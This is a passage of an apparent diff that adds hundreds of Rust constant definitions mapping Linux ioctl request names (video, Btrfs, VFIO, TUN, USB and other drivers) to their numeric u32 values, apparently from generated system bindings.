++pub const F2FS_IOC_RESIZE_FS: u32 = 1074328848;
++pub const SONET_SETDIAG: u32 = 3221512466;
++pub const BTRFS_IOC_DEFRAG: u32 = 1342215170;
++pub const CCISS_GETDRIVVER: u32 = 2147762697;
++pub const IPMICTL_GET_TIMING_PARMS_CMD: u32 = 2148034839;
++pub const HPET_IRQFREQ: u32 = 1074292742;
++pub const ATM_GETESI: u32 = 1074815365;
++pub const CCISS_GETLUNINFO: u32 = 2148286993;
++pub const AUTOFS_DEV_IOCTL_ISMOUNTPOINT: u32 = 3222836094;
++pub const TEE_IOC_SHM_ALLOC: u32 = 3222316033;
++pub const PERF_EVENT_IOC_SET_BPF: u32 = 1074013192;
++pub const UDMABUF_CREATE_LIST: u32 = 1074296131;
++pub const VHOST_SET_LOG_BASE: u32 = 1074310916;
++pub const ZATM_GETPOOL: u32 = 1074815329;
++pub const BR2684_SETFILT: u32 = 1075601808;
++pub const RNDGETPOOL: u32 = 2148028930;
++pub const PPS_GETPARAMS: u32 = 2148036769;
++pub const IOC_PR_RESERVE: u32 = 1074819273;
++pub const VIDIOC_TRY_DECODER_CMD: u32 = 3225966177;
++pub const RIO_CM_CHAN_CLOSE: u32 = 1073898244;
++pub const VIDIOC_DV_TIMINGS_CAP: u32 = 3230684772;
++pub const IOCTL_MEI_CONNECT_CLIENT_VTAG: u32 = 3222554628;
++pub const PMU_IOC_GET_BACKLIGHT: u32 = 2148024833;
++pub const USBDEVFS_GET_CAPABILITIES: u32 = 2147767578;
++pub const SCIF_WRITETO: u32 = 3223876363;
++pub const UDF_RELOCATE_BLOCKS: u32 = 3221777475;
++pub const FSL_HV_IOCTL_PARTITION_RESTART: u32 = 3221794561;
++pub const CCISS_REGNEWD: u32 = 16910;
++pub const FAT_IOCTL_SET_ATTRIBUTES: u32 = 1074033169;
++pub const VIDIOC_CREATE_BUFS: u32 = 3238024796;
++pub const CAPI_GET_VERSION: u32 = 3222291207;
++pub const SWITCHTEC_IOCTL_EVENT_SUMMARY: u32 = 2228770626;
++pub const VFIO_EEH_PE_OP: u32 = 15225;
++pub const FW_CDEV_IOC_CREATE_ISO_CONTEXT: u32 = 3223331592;
++pub const F2FS_IOC_RELEASE_COMPRESS_BLOCKS: u32 = 2148070674;
++pub const NBD_SET_SIZE_BLOCKS: u32 = 43783;
++pub const IPMI_BMC_IOCTL_SET_SMS_ATN: u32 = 45312;
++pub const ASPEED_P2A_CTRL_IOCTL_GET_MEMORY_CONFIG: u32 = 3222319873;
++pub const VIDIOC_S_AUDOUT: u32 = 1077171762;
++pub const VIDIOC_S_FMT: u32 = 3234878981;
++pub const PPPIOCATTACH: u32 = 1074033725;
++pub const VHOST_GET_VRING_BUSYLOOP_TIMEOUT: u32 = 1074310948;
++pub const FS_IOC_MEASURE_VERITY: u32 = 3221513862;
++pub const CCISS_BIG_PASSTHRU: u32 = 3227533842;
++pub const IPMICTL_SET_MY_LUN_CMD: u32 = 2147772691;
++pub const PCITEST_LEGACY_IRQ: u32 = 20482;
++pub const USBDEVFS_SUBMITURB: u32 = 2151175434;
++pub const AUTOFS_IOC_READY: u32 = 37728;
++pub const BTRFS_IOC_SEND: u32 = 1078498342;
++pub const VIDIOC_G_EXT_CTRLS: u32 = 3223344711;
++pub const JSIOCSBTNMAP: u32 = 1140877875;
++pub const PPPIOCSFLAGS: u32 = 1074033753;
++pub const NVRAM_INIT: u32 = 28736;
++pub const RFKILL_IOCTL_NOINPUT: u32 = 20993;
++pub const BTRFS_IOC_BALANCE: u32 = 1342215180;
++pub const FS_IOC_GETFSMAP: u32 = 3233830971;
++pub const IPMICTL_GET_MY_CHANNEL_LUN_CMD: u32 = 2147772699;
++pub const STP_POLICY_ID_GET: u32 = 2148541697;
++pub const PPSETFLAGS: u32 = 1074032795;
++pub const CEC_ADAP_S_PHYS_ADDR: u32 = 1073897730;
++pub const ATMTCP_CREATE: u32 = 24974;
++pub const IPMI_BMC_IOCTL_FORCE_ABORT: u32 = 45314;
++pub const PPPIOCGXASYNCMAP: u32 = 2149610576;
++pub const VHOST_SET_VRING_CALL: u32 = 1074310945;
++pub const LIRC_GET_FEATURES: u32 = 2147772672;
++pub const GSMIOC_DISABLE_NET: u32 = 18179;
++pub const AUTOFS_IOC_CATATONIC: u32 = 37730;
++pub const NBD_DO_IT: u32 = 43779;
++pub const LIRC_SET_REC_CARRIER_RANGE: u32 = 1074030879;
++pub const IPMICTL_GET_MY_CHANNEL_ADDRESS_CMD: u32 = 2147772697;
++pub const EVIOCSCLOCKID: u32 = 1074021792;
++pub const USBDEVFS_FREE_STREAMS: u32 = 2148029725;
++pub const FSI_SCOM_RESET: u32 = 1074033411;
++pub const PMU_IOC_GRAB_BACKLIGHT: u32 = 2148024838;
++pub const VIDIOC_SUBDEV_S_FMT: u32 = 3227014661;
++pub const FDDEFPRM: u32 = 1075839555;
++pub const TEE_IOC_INVOKE: u32 = 2148574211;
++pub const USBDEVFS_BULK: u32 = 3222820098;
++pub const SCIF_VWRITETO: u32 = 3223876365;
++pub const SONYPI_IOCSBRT: u32 = 1073837568;
++pub const BTRFS_IOC_FILE_EXTENT_SAME: u32 = 3222836278;
++pub const RTC_PIE_ON: u32 = 28677;
++pub const BTRFS_IOC_SCAN_DEV: u32 = 1342215172;
++pub const PPPIOCXFERUNIT: u32 = 29774;
++pub const WDIOC_GETTIMEOUT: u32 = 2147768071;
++pub const BTRFS_IOC_SET_RECEIVED_SUBVOL: u32 = 3234370597;
++pub const DFL_FPGA_PORT_ERR_SET_IRQ: u32 = 1074312774;
++pub const FBIO_WAITFORVSYNC: u32 = 1074021920;
++pub const RTC_PIE_OFF: u32 = 28678;
++pub const EVIOCGRAB: u32 = 1074021776;
++pub const PMU_IOC_SET_BACKLIGHT: u32 = 1074283010;
++pub const EVIOCGREP: u32 = 2148025603;
++pub const PERF_EVENT_IOC_MODIFY_ATTRIBUTES: u32 = 1074275339;
++pub const UFFDIO_CONTINUE: u32 = 3223366151;
++pub const VDUSE_GET_API_VERSION: u32 = 2148040960;
++pub const RTC_RD_TIME: u32 = 2149871625;
++pub const FDMSGOFF: u32 = 582;
++pub const IPMICTL_REGISTER_FOR_CMD_CHANS: u32 = 2148296988;
++pub const CAPI_GET_ERRCODE: u32 = 2147631905;
++pub const PCITEST_SET_IRQTYPE: u32 = 1074024456;
++pub const VIDIOC_SUBDEV_S_EDID: u32 = 3223868969;
++pub const MATROXFB_SET_OUTPUT_MODE: u32 = 1074294522;
++pub const RIO_DEV_ADD: u32 = 1075866903;
++pub const VIDIOC_ENUM_FREQ_BANDS: u32 = 3225441893;
++pub const FBIO_RADEON_SET_MIRROR: u32 = 1074282500;
++pub const PCITEST_GET_IRQTYPE: u32 = 20489;
++pub const JSIOCGVERSION: u32 = 2147772929;
++pub const SONYPI_IOCSBLUE: u32 = 1073837577;
++pub const SNAPSHOT_PREF_IMAGE_SIZE: u32 = 13074;
++pub const F2FS_IOC_GET_FEATURES: u32 = 2147808524;
++pub const SCIF_REG: u32 = 3223876360;
++pub const NILFS_IOCTL_CLEAN_SEGMENTS: u32 = 1081634440;
++pub const FW_CDEV_IOC_INITIATE_BUS_RESET: u32 = 1074012933;
++pub const RIO_WAIT_FOR_ASYNC: u32 = 1074294038;
++pub const VHOST_SET_VRING_NUM: u32 = 1074310928;
++pub const AUTOFS_DEV_IOCTL_PROTOVER: u32 = 3222836082;
++pub const RIO_FREE_DMA: u32 = 1074294036;
++pub const MGSL_IOCRXENABLE: u32 = 27909;
++pub const IOCTL_VM_SOCKETS_GET_LOCAL_CID: u32 = 1977;
++pub const IPMICTL_SET_TIMING_PARMS_CMD: u32 = 2148034838;
++pub const PPPIOCGL2TPSTATS: u32 = 2152231990;
++pub const PERF_EVENT_IOC_PERIOD: u32 = 1074275332;
++pub const PTP_PIN_SETFUNC2: u32 = 1080048912;
++pub const CHIOEXCHANGE: u32 = 1075602178;
++pub const NILFS_IOCTL_GET_SUINFO: u32 = 2149084804;
++pub const CEC_DQEVENT: u32 = 3226493191;
++pub const UI_SET_SWBIT: u32 = 1074025837;
++pub const VHOST_VDPA_SET_CONFIG: u32 = 1074311028;
++pub const TUNSETIFF: u32 = 1074025674;
++pub const CHIOPOSITION: u32 = 1074553603;
++pub const IPMICTL_SET_MAINTENANCE_MODE_CMD: u32 = 1074030879;
++pub const BTRFS_IOC_DEFAULT_SUBVOL: u32 = 1074304019;
++pub const RIO_UNMAP_OUTBOUND: u32 = 1076391184;
++pub const CAPI_CLR_FLAGS: u32 = 2147762981;
++pub const FW_CDEV_IOC_ALLOCATE_ISO_RESOURCE_ONCE: u32 = 1075323663;
++pub const MATROXFB_GET_OUTPUT_CONNECTION: u32 = 2148036344;
++pub const EVIOCSMASK: u32 = 1074808211;
++pub const BTRFS_IOC_FORGET_DEV: u32 = 1342215173;
++pub const CXL_MEM_QUERY_COMMANDS: u32 = 2148060673;
++pub const CEC_S_MODE: u32 = 1074028809;
++pub const MGSL_IOCSIF: u32 = 27914;
++pub const SWITCHTEC_IOCTL_PFF_TO_PORT: u32 = 3222034244;
++pub const PPSETMODE: u32 = 1074032768;
++pub const VFIO_DEVICE_SET_IRQS: u32 = 15214;
++pub const VIDIOC_PREPARE_BUF: u32 = 3227014749;
++pub const CEC_ADAP_G_CONNECTOR_INFO: u32 = 2151964938;
++pub const IOC_OPAL_WRITE_SHADOW_MBR: u32 = 1092645098;
++pub const VIDIOC_SUBDEV_ENUM_FRAME_INTERVAL: u32 = 3225441867;
++pub const UDMABUF_CREATE: u32 = 1075344706;
++pub const SONET_CLRDIAG: u32 = 3221512467;
++pub const PHN_SET_REG: u32 = 1074294785;
++pub const RNDADDTOENTCNT: u32 = 1074024961;
++pub const VBG_IOCTL_CHECK_BALLOON: u32 = 3223344657;
++pub const VIDIOC_OMAP3ISP_STAT_REQ: u32 = 3223869126;
++pub const PPS_FETCH: u32 = 3221778596;
++pub const RTC_AIE_OFF: u32 = 28674;
++pub const VFIO_GROUP_SET_CONTAINER: u32 = 15208;
++pub const FW_CDEV_IOC_RECEIVE_PHY_PACKETS: u32 = 1074275094;
++pub const VFIO_IOMMU_SPAPR_TCE_REMOVE: u32 = 15224;
++pub const VFIO_IOMMU_GET_INFO: u32 = 15216;
++pub const DM_DEV_SUSPEND: u32 = 3241737478;
++pub const F2FS_IOC_GET_COMPRESS_OPTION: u32 = 2147677461;
++pub const FW_CDEV_IOC_STOP_ISO: u32 = 1074012939;
++pub const GPIO_V2_GET_LINEINFO_IOCTL: u32 = 3238048773;
++pub const ATMMPC_CTRL: u32 = 25048;
++pub const PPPIOCSXASYNCMAP: u32 = 1075868751;
++pub const CHIOGSTATUS: u32 = 1074815752;
++pub const FW_CDEV_IOC_ALLOCATE_ISO_RESOURCE: u32 = 3222807309;
++pub const RIO_MPORT_MAINT_PORT_IDX_GET: u32 = 2147773699;
++pub const CAPI_SET_FLAGS: u32 = 2147762980;
++pub const VFIO_GROUP_GET_DEVICE_FD: u32 = 15210;
++pub const VHOST_SET_MEM_TABLE: u32 = 1074310915;
++pub const MATROXFB_SET_OUTPUT_CONNECTION: u32 = 1074294520;
++pub const DFL_FPGA_PORT_GET_REGION_INFO: u32 = 46658;
++pub const VHOST_GET_FEATURES: u32 = 2148052736;
++pub const LIRC_GET_REC_RESOLUTION: u32 = 2147772679;
++pub const PACKET_CTRL_CMD: u32 = 3222820865;
++pub const LIRC_SET_TRANSMITTER_MASK: u32 = 1074030871;
++pub const BTRFS_IOC_ADD_DEV: u32 = 1342215178;
++pub const JSIOCGCORR: u32 = 2149870114;
++pub const VIDIOC_G_FMT: u32 = 3234878980;
++pub const RTC_EPOCH_SET: u32 = 1074294798;
++pub const CAPI_GET_PROFILE: u32 = 3225436937;
++pub const ATM_GETLOOP: u32 = 1074815314;
++pub const SCIF_LISTEN: u32 = 1074033410;
++pub const NBD_CLEAR_QUE: u32 = 43781;
++pub const F2FS_IOC_MOVE_RANGE: u32 = 3223385353;
++pub const LIRC_GET_LENGTH: u32 = 2147772687;
++pub const I8K_SET_FAN: u32 = 3221776775;
++pub const FDSETMAXERRS: u32 = 1075053132;
++pub const VIDIOC_SUBDEV_QUERYCAP: u32 = 2151699968;
++pub const SNAPSHOT_SET_SWAP_AREA: u32 = 1074541325;
++pub const LIRC_GET_REC_TIMEOUT: u32 = 2147772708;
++pub const EVIOCRMFF: u32 = 1074021761;
++pub const GPIO_GET_LINEEVENT_IOCTL: u32 = 3224417284;
++pub const PPRDATA: u32 = 2147577989;
++pub const RIO_MPORT_GET_PROPERTIES: u32 = 2150657284;
++pub const TUNSETVNETHDRSZ: u32 = 1074025688;
++pub const GPIO_GET_LINEINFO_IOCTL: u32 = 3225990146;
++pub const GSMIOC_GETCONF: u32 = 2152482560;
++pub const LIRC_GET_SEND_MODE: u32 = 2147772673;
++pub const PPPIOCSACTIVE: u32 = 1074820166;
++pub const SIOCGSTAMPNS_NEW: u32 = 2148567303;
++pub const IPMICTL_RECEIVE_MSG: u32 = 3224398092;
++pub const LIRC_SET_SEND_DUTY_CYCLE: u32 = 1074030869;
++pub const UI_END_FF_ERASE: u32 = 1074550219;
++pub const SWITCHTEC_IOCTL_FLASH_PART_INFO: u32 = 3222296385;
++pub const FW_CDEV_IOC_SEND_PHY_PACKET: u32 = 3222807317;
++pub const NBD_SET_FLAGS: u32 = 43786;
++pub const VFIO_DEVICE_GET_REGION_INFO: u32 = 15212;
++pub const REISERFS_IOC_UNPACK: u32 = 1074318593;
++pub const FW_CDEV_IOC_REMOVE_DESCRIPTOR: u32 = 1074012935;
++pub const RIO_SET_EVENT_MASK: u32 = 1074031885;
++pub const SNAPSHOT_ALLOC_SWAP_PAGE: u32 = 2148021012;
++pub const VDUSE_VQ_INJECT_IRQ: u32 = 1074037015;
++pub const I2OPASSTHRU: u32 = 2148559116;
++pub const IOC_OPAL_SET_PW: u32 = 1109422304;
++pub const FSI_SCOM_READ: u32 = 3223352065;
++pub const VHOST_VDPA_GET_DEVICE_ID: u32 = 2147790704;
++pub const VIDIOC_QBUF: u32 = 3227014671;
++pub const VIDIOC_S_TUNER: u32 = 1079268894;
++pub const TUNGETVNETHDRSZ: u32 = 2147767511;
++pub const CAPI_NCCI_GETUNIT: u32 = 2147762983;
++pub const DFL_FPGA_PORT_UINT_GET_IRQ_NUM: u32 = 2147792455;
++pub const VIDIOC_OMAP3ISP_STAT_EN: u32 = 3221771975;
++pub const GPIO_V2_LINE_SET_CONFIG_IOCTL: u32 = 3239097357;
++pub const TEE_IOC_VERSION: u32 = 2148312064;
++pub const VIDIOC_LOG_STATUS: u32 = 22086;
++pub const IPMICTL_SEND_COMMAND_SETTIME: u32 = 2150656277;
++pub const VHOST_SET_LOG_FD: u32 = 1074048775;
++pub const SCIF_SEND: u32 = 3222827782;
++pub const VIDIOC_SUBDEV_G_FMT: u32 = 3227014660;
++pub const NS_ADJBUFLEV: u32 = 24931;
++pub const VIDIOC_DBG_S_REGISTER: u32 = 1077433935;
++pub const NILFS_IOCTL_RESIZE: u32 = 1074294411;
++pub const PHN_GETREG: u32 = 3221778437;
++pub const I2OSWDL: u32 = 3224398085;
++pub const VBG_IOCTL_VMMDEV_REQUEST_BIG: u32 = 22019;
++pub const JSIOCGBUTTONS: u32 = 2147576338;
++pub const VFIO_IOMMU_ENABLE: u32 = 15219;
++pub const DM_DEV_RENAME: u32 = 3241737477;
++pub const MEDIA_IOC_SETUP_LINK: u32 = 3224665091;
++pub const VIDIOC_ENUMOUTPUT: u32 = 3225966128;
++pub const STP_POLICY_ID_SET: u32 = 3222283520;
++pub const VHOST_VDPA_SET_CONFIG_CALL: u32 = 1074048887;
++pub const VIDIOC_SUBDEV_G_CROP: u32 = 3224917563;
++pub const VIDIOC_S_CROP: u32 = 1075074620;
++pub const WDIOC_GETTEMP: u32 = 2147768067;
++pub const IOC_OPAL_ADD_USR_TO_LR: u32 = 1092120804;
++pub const UI_SET_LEDBIT: u32 = 1074025833;
++pub const NBD_SET_SOCK: u32 = 43776;
++pub const BTRFS_IOC_SNAP_DESTROY_V2: u32 = 1342215231;
++pub const HIDIOCGCOLLECTIONINFO: u32 = 3222292497;
++pub const I2OSWUL: u32 = 3224398086;
++pub const IOCTL_MEI_NOTIFY_GET: u32 = 2147764227;
++pub const FDFMTTRK: u32 = 1074528840;
++pub const MMTIMER_GETBITS: u32 = 27908;
++pub const VIDIOC_ENUMSTD: u32 = 3225966105;
++pub const VHOST_GET_VRING_BASE: u32 = 3221794578;
++pub const VFIO_DEVICE_IOEVENTFD: u32 = 15220;
++pub const ATMARP_SETENTRY: u32 = 25059;
++pub const CCISS_REVALIDVOLS: u32 = 16906;
++pub const MGSL_IOCLOOPTXDONE: u32 = 27913;
++pub const RTC_VL_READ: u32 = 2147774483;
++pub const ND_IOCTL_ARS_STATUS: u32 = 3224391171;
++pub const RIO_DEV_DEL: u32 = 1075866904;
++pub const VBG_IOCTL_ACQUIRE_GUEST_CAPABILITIES: u32 = 3223606797;
++pub const VIDIOC_SUBDEV_DV_TIMINGS_CAP: u32 = 3230684772;
++pub const SONYPI_IOCSFAN: u32 = 1073837579;
++pub const SPIOCSTYPE: u32 = 1074295041;
++pub const IPMICTL_REGISTER_FOR_CMD: u32 = 2147641614;
++pub const I8K_GET_FAN: u32 = 3221776774;
++pub const TUNGETVNETBE: u32 = 2147767519;
++pub const AUTOFS_DEV_IOCTL_FAIL: u32 = 3222836087;
++pub const UI_END_FF_UPLOAD: u32 = 1080579529;
++pub const TOSH_SMM: u32 = 3222828176;
++pub const SONYPI_IOCGBAT2REM: u32 = 2147644933;
++pub const F2FS_IOC_GET_COMPRESS_BLOCKS: u32 = 2148070673;
++pub const PPPIOCSNPMODE: u32 = 1074295883;
++pub const USBDEVFS_CONTROL: u32 = 3222820096;
++pub const HIDIOCGUSAGE: u32 = 3222816779;
++pub const TUNSETTXFILTER: u32 = 1074025681;
++pub const TUNGETVNETLE: u32 = 2147767517;
++pub const VIDIOC_ENUM_DV_TIMINGS: u32 = 3230946914;
++pub const BTRFS_IOC_INO_PATHS: u32 = 3224933411;
++pub const MGSL_IOCGXSYNC: u32 = 27924;
++pub const HIDIOCGFIELDINFO: u32 = 3224913930;
++pub const VIDIOC_SUBDEV_G_STD: u32 = 2148029975;
++pub const I2OVALIDATE: u32 = 2147772680;
++pub const VIDIOC_TRY_ENCODER_CMD: u32 = 3223869006;
++pub const NILFS_IOCTL_GET_CPINFO: u32 = 2149084802;
++pub const VIDIOC_G_FREQUENCY: u32 = 3224131128;
++pub const VFAT_IOCTL_READDIR_SHORT: u32 = 2184212994;
++pub const ND_IOCTL_GET_CONFIG_DATA: u32 = 3222031877;
++pub const F2FS_IOC_RESERVE_COMPRESS_BLOCKS: u32 = 2148070675;
++pub const FDGETDRVSTAT: u32 = 2152727058;
++pub const SYNC_IOC_MERGE: u32 = 3224387075;
++pub const VIDIOC_S_DV_TIMINGS: u32 = 3229898327;
++pub const PPPIOCBRIDGECHAN: u32 = 1074033717;
++pub const LIRC_SET_SEND_MODE: u32 = 1074030865;
++pub const RIO_ENABLE_PORTWRITE_RANGE: u32 = 1074818315;
++pub const ATM_GETTYPE: u32 = 1074815364;
++pub const PHN_GETREGS: u32 = 3223875591;
++pub const FDSETEMSGTRESH: u32 = 586;
++pub const NILFS_IOCTL_GET_VINFO: u32 = 3222826630;
++pub const MGSL_IOCWAITEVENT: u32 = 3221515528;
++pub const CAPI_INSTALLED: u32 = 2147631906;
++pub const EVIOCGMASK: u32 = 2148550034;
++pub const BTRFS_IOC_SUBVOL_GETFLAGS: u32 = 2148045849;
++pub const FSL_HV_IOCTL_PARTITION_GET_STATUS: u32 = 3222056706;
++pub const MEDIA_IOC_ENUM_ENTITIES: u32 = 3238034433;
++pub const GSMIOC_GETFIRST: u32 = 2147763972;
++pub const FW_CDEV_IOC_FLUSH_ISO: u32 = 1074012952;
++pub const VIDIOC_DBG_G_CHIP_INFO: u32 = 3234354790;
++pub const F2FS_IOC_RELEASE_VOLATILE_WRITE: u32 = 62724;
++pub const CAPI_GET_SERIAL: u32 = 3221504776;
++pub const FDSETDRVPRM: u32 = 1082131088;
++pub const IOC_OPAL_SAVE: u32 = 1092120796;
++pub const VIDIOC_G_DV_TIMINGS: u32 = 3229898328;
++pub const TUNSETIFINDEX: u32 = 1074025690;
++pub const CCISS_SETINTINFO: u32 = 1074283011;
++pub const CM_IOSDBGLVL: u32 = 1074291706;
++pub const RTC_VL_CLR: u32 = 28692;
++pub const VIDIOC_REQBUFS: u32 = 3222558216;
++pub const USBDEVFS_REAPURBNDELAY32: u32 = 1074025741;
++pub const TEE_IOC_SHM_REGISTER: u32 = 3222840329;
++pub const USBDEVFS_SETCONFIGURATION: u32 = 2147767557;
++pub const CCISS_GETNODENAME: u32 = 2148549124;
++pub const VIDIOC_SUBDEV_S_FRAME_INTERVAL: u32 = 3224393238;
++pub const VIDIOC_ENUM_FRAMESIZES: u32 = 3224131146;
++pub const VFIO_DEVICE_PCI_HOT_RESET: u32 = 15217;
++pub const FW_CDEV_IOC_SEND_BROADCAST_REQUEST: u32 = 1076372242;
++pub const LPSETTIMEOUT_NEW: u32 = 1074791951;
++pub const RIO_CM_MPORT_GET_LIST: u32 = 3221512971;
++pub const FW_CDEV_IOC_QUEUE_ISO: u32 = 3222807305;
++pub const FDRAWCMD: u32 = 600;
++pub const SCIF_UNREG: u32 = 3222303497;
++pub const PPPIOCGIDLE64: u32 = 2148561983;
++pub const USBDEVFS_RELEASEINTERFACE: u32 = 2147767568;
++pub const VIDIOC_CROPCAP: u32 = 3224131130;
++pub const DFL_FPGA_PORT_GET_INFO: u32 = 46657;
++pub const PHN_SET_REGS: u32 = 1074294787;
++pub const ATMLEC_DATA: u32 = 25041;
++pub const PPPOEIOCDFWD: u32 = 45313;
++pub const VIDIOC_S_SELECTION: u32 = 3225441887;
++pub const SNAPSHOT_FREE_SWAP_PAGES: u32 = 13065;
++pub const BTRFS_IOC_LOGICAL_INO: u32 = 3224933412;
++pub const VIDIOC_S_CTRL: u32 = 3221771804;
++pub const ZATM_SETPOOL: u32 = 1074815331;
++pub const MTIOCPOS: u32 = 2148035843;
++pub const PMU_IOC_SLEEP: u32 = 16896;
++pub const AUTOFS_DEV_IOCTL_PROTOSUBVER: u32 = 3222836083;
++pub const VBG_IOCTL_CHANGE_FILTER_MASK: u32 = 3223344652;
++pub const NILFS_IOCTL_GET_SUSTAT: u32 = 2150657669;
++pub const VIDIOC_QUERYCAP: u32 = 2154321408;
++pub const HPET_INFO: u32 = 2149083139;
++pub const VIDIOC_AM437X_CCDC_CFG: u32 = 1074288321;
++pub const DM_LIST_DEVICES: u32 = 3241737474;
++pub const TUNSETOWNER: u32 = 1074025676;
++pub const VBG_IOCTL_CHANGE_GUEST_CAPABILITIES: u32 = 3223344654;
++pub const RNDADDENTROPY: u32 = 1074287107;
++pub const USBDEVFS_RESET: u32 = 21780;
++pub const BTRFS_IOC_SUBVOL_CREATE: u32 = 1342215182;
++pub const USBDEVFS_FORBID_SUSPEND: u32 = 21793;
++pub const FDGETDRVTYP: u32 = 2148532751;
++pub const PPWCONTROL: u32 = 1073836164;
++pub const VIDIOC_ENUM_FRAMEINTERVALS: u32 = 3224655435;
++pub const KCOV_DISABLE: u32 = 25445;
++pub const IOC_OPAL_ACTIVATE_LSP: u32 = 1092120799;
++pub const VHOST_VDPA_GET_IOVA_RANGE: u32 = 2148577144;
++pub const PPPIOCSPASS: u32 = 1074820167;
++pub const RIO_CM_CHAN_CONNECT: u32 = 1074291464;
++pub const I2OSWDEL: u32 = 3224398087;
++pub const FS_IOC_SET_ENCRYPTION_POLICY: u32 = 2148296211;
++pub const IOC_OPAL_MBR_DONE: u32 = 1091596521;
++pub const PPPIOCSMAXCID: u32 = 1074033745;
++pub const PPSETPHASE: u32 = 1074032788;
++pub const VHOST_VDPA_SET_VRING_ENABLE: u32 = 1074311029;
++pub const USBDEVFS_GET_SPEED: u32 = 21791;
++pub const SONET_GETFRAMING: u32 = 2147770646;
++pub const VIDIOC_QUERYBUF: u32 = 3227014665;
++pub const VIDIOC_S_EDID: u32 = 3223868969;
++pub const BTRFS_IOC_QGROUP_ASSIGN: u32 = 1075352617;
++pub const PPS_GETCAP: u32 = 2148036771;
++pub const SNAPSHOT_PLATFORM_SUPPORT: u32 = 13071;
++pub const LIRC_SET_REC_TIMEOUT_REPORTS: u32 = 1074030873;
++pub const SCIF_GET_NODEIDS: u32 = 3222827790;
++pub const NBD_DISCONNECT: u32 = 43784;
++pub const VIDIOC_SUBDEV_G_FRAME_INTERVAL: u32 = 3224393237;
++pub const VFIO_IOMMU_DISABLE: u32 = 15220;
++pub const SNAPSHOT_CREATE_IMAGE: u32 = 1074017041;
++pub const SNAPSHOT_POWER_OFF: u32 = 13072;
++pub const APM_IOC_STANDBY: u32 = 16641;
++pub const PPPIOCGUNIT: u32 = 2147775574;
++pub const AUTOFS_IOC_EXPIRE_MULTI: u32 = 1074041702;
++pub const SCIF_BIND: u32 = 3221779201;
++pub const IOC_WATCH_QUEUE_SET_SIZE: u32 = 22368;
++pub const NILFS_IOCTL_CHANGE_CPMODE: u32 = 1074818688;
++pub const IOC_OPAL_LOCK_UNLOCK: u32 = 1092120797;
++pub const F2FS_IOC_SET_PIN_FILE: u32 = 1074066701;
++pub const PPPIOCGRASYNCMAP: u32 = 2147775573;
++pub const MMTIMER_MMAPAVAIL: u32 = 27910;
++pub const I2OPASSTHRU32: u32 = 2148034828;
++pub const DFL_FPGA_FME_PORT_RELEASE: u32 = 1074050689;
++pub const VIDIOC_SUBDEV_QUERY_DV_TIMINGS: u32 = 2156156515;
++pub const UI_SET_SNDBIT: u32 = 1074025834;
++pub const VIDIOC_G_AUDOUT: u32 = 2150913585;
++pub const RTC_PLL_SET: u32 = 1075867666;
++pub const VIDIOC_ENUMAUDIO: u32 = 3224655425;
++pub const AUTOFS_DEV_IOCTL_TIMEOUT: u32 = 3222836090;
++pub const VBG_IOCTL_DRIVER_VERSION_INFO: u32 = 3224131072;
++pub const VHOST_SCSI_GET_EVENTS_MISSED: u32 = 1074048836;
++pub const VHOST_SET_VRING_ADDR: u32 = 1076408081;
++pub const VDUSE_CREATE_DEV: u32 = 1095794946;
++pub const FDFLUSH: u32 = 587;
++pub const VBG_IOCTL_WAIT_FOR_EVENTS: u32 = 3223344650;
++pub const DFL_FPGA_FME_ERR_SET_IRQ: u32 = 1074312836;
++pub const F2FS_IOC_GET_PIN_FILE: u32 = 2147808526;
++pub const SCIF_CONNECT: u32 = 3221779203;
++pub const BLKREPORTZONE: u32 = 3222278786;
++pub const AUTOFS_IOC_ASKUMOUNT: u32 = 2147783536;
++pub const ATM_ADDPARTY: u32 = 1074815476;
++pub const FDSETPRM: u32 = 1075839554;
++pub const ATM_GETSTATZ: u32 = 1074815313;
++pub const ISST_IF_MSR_COMMAND: u32 = 3221814788;
++pub const BTRFS_IOC_GET_SUBVOL_INFO: u32 = 2180551740;
++pub const VIDIOC_UNSUBSCRIBE_EVENT: u32 = 1075861083;
++pub const SEV_ISSUE_CMD: u32 = 3222295296;
++pub const GPIOHANDLE_SET_LINE_VALUES_IOCTL: u32 = 3225465865;
++pub const PCITEST_COPY: u32 = 1074286598;
++pub const IPMICTL_GET_MY_ADDRESS_CMD: u32 = 2147772690;
++pub const CHIOGPICKER: u32 = 2147771140;
++pub const CAPI_NCCI_OPENCOUNT: u32 = 2147762982;
++pub const CXL_MEM_SEND_COMMAND: u32 = 3224423938;
++pub const PERF_EVENT_IOC_SET_FILTER: u32 = 1074275334;
++pub const IOC_OPAL_REVERT_TPR: u32 = 1091072226;
++pub const CHIOGVPARAMS: u32 = 2154849043;
++pub const PTP_PEROUT_REQUEST: u32 = 1077427459;
++pub const FSI_SCOM_CHECK: u32 = 2147775232;
++pub const RTC_IRQP_READ: u32 = 2148036619;
++pub const RIO_MPORT_MAINT_READ_LOCAL: u32 = 2149084421;
++pub const HIDIOCGRDESCSIZE: u32 = 2147764225;
++pub const UI_GET_VERSION: u32 = 2147767597;
++pub const NILFS_IOCTL_GET_CPSTAT: u32 = 2149084803;
++pub const CCISS_GETBUSTYPES: u32 = 2147762695;
++pub const VFIO_IOMMU_SPAPR_TCE_CREATE: u32 = 15223;
++pub const VIDIOC_EXPBUF: u32 = 3225441808;
++pub const UI_SET_RELBIT: u32 = 1074025830;
++pub const VFIO_SET_IOMMU: u32 = 15206;
++pub const VIDIOC_S_MODULATOR: u32 = 1078220343;
++pub const TUNGETFILTER: u32 = 2148553947;
++pub const MEYEIOC_SYNC: u32 = 3221518019;
++pub const CCISS_SETNODENAME: u32 = 1074807301;
++pub const FBIO_GETCONTROL2: u32 = 2148025993;
++pub const TUNSETDEBUG: u32 = 1074025673;
++pub const DM_DEV_REMOVE: u32 = 3241737476;
++pub const HIDIOCSUSAGES: u32 = 1344030740;
++pub const FS_IOC_ADD_ENCRYPTION_KEY: u32 = 3226494487;
++pub const FBIOGET_VBLANK: u32 = 2149598738;
++pub const ATM_GETSTAT: u32 = 1074815312;
++pub const VIDIOC_G_JPEGCOMP: u32 = 2156680765;
++pub const TUNATTACHFILTER: u32 = 1074812117;
++pub const UI_SET_ABSBIT: u32 = 1074025831;
++pub const DFL_FPGA_PORT_ERR_GET_IRQ_NUM: u32 = 2147792453;
++pub const USBDEVFS_REAPURB32: u32 = 1074025740;
++pub const BTRFS_IOC_TRANS_END: u32 = 37895;
++pub const CAPI_REGISTER: u32 = 1074545409;
++pub const F2FS_IOC_COMPRESS_FILE: u32 = 62744;
++pub const USBDEVFS_DISCARDURB: u32 = 21771;
++pub const HE_GET_REG: u32 = 1074815328;
++pub const ATM_SETLOOP: u32 = 1074815315;
